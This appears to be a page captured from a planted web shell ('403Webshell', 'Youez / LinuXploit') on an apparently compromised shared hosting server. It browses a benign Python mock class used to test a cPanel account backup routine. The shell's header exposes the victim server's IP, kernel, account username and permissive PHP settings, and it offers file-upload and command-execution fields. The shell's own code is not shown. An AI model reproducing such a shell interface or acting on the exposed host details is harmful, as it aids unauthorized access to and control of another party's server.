403Webshell
Server IP : 142.11.234.102  /  Your IP : 216.73.217.78
Web Server : Apache
System : Linux dal-shared-66.hostwindsdns.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : krnuyqrm ( 1183)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/site-packages/test/mock/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/site-packages/test/mock/mock_backup.py
import random
import string
from datetime import datetime

from hw_cpbackup.consts import TODAY
from test.mock.common import S3_MOCKDATA


class MockBackupRoutine:
    """Mock BackupRoutine class"""

    def __init__(self):
        self.null_routed = False
        self.acct_packaged = False
        self.upload_complete = False
        self.backup = 1
        self.suspended = 0

    @property
    def backup_root(self):
        return '/backup/{today}/accounts/'.format(today=TODAY)

    @property
    def username(self):
        return 'mockuser'

    @property
    def user_data(self):
        _user_data = []
        _user_data_obj = S3_MOCKDATA
        _user_data.append(_user_data_obj)
        for index, user_acct in enumerate(_user_data):
            if self.whm_data()['data']['acct'][0]['backup'] != 1:
                del _user_data[index]
                continue
            if self.whm_data()['data']['acct'][0]['suspended'] == 1:
                del _user_data[index]
                continue
            if datetime.fromtimestamp(
                    self.whm_data()['data']['acct'][0]['unix_startdate']).strftime('%Y-%m-%d') == TODAY \
                    and not self.user_archive(username=user_acct['user']):
                del _user_data[index]
                continue
            if self.null_routed:
                del _user_data[index]
                continue
        return _user_data

    def whm_data(self):
        _whm_data = {
            'data': {
                'acct': [
                    {
                        'backup': self.backup,
                        'suspended': self.suspended,
                        'unix_startdate': int(datetime.today().strftime('%s'))
                    }
                ]
            }
        }
        return _whm_data

    @property
    def backup_archives(self):
        _backup_archives = ['%s.tar.gz' % self.username]
        for _ in range(10):
            _backup_archives.append('%s.tar.gz' % ''.join(
                random.SystemRandom().choice(string.ascii_letters.lower() + string.digits) for _ in range(8)))
        return _backup_archives

    def user_archive(self, username, block=False):
        """Obtain archive for user"""
        for archive in self.backup_archives:
            if archive == username + '.tar.gz' and not block:
                return archive

    def pkg_account(self, username):
        created_archive = '{root}cpmove-{user}.tar.gz'.format(root=self.backup_root, user=username)
        self.acct_packaged = True
        return created_archive

    def run(self, pkg=False):
        if self.user_data:
            for user_account in self.user_data:
                user = user_account['user']
                if not self.user_archive(username=user, block=pkg):
                    self.pkg_account(username=user)
                self.upload_complete = True

    def reset(self):
        self.null_routed = False
        self.acct_packaged = False
        self.upload_complete = False
        self.backup = 1
        self.suspended = 0

Youez - 2016 - github.com/yon3zu
LinuXploit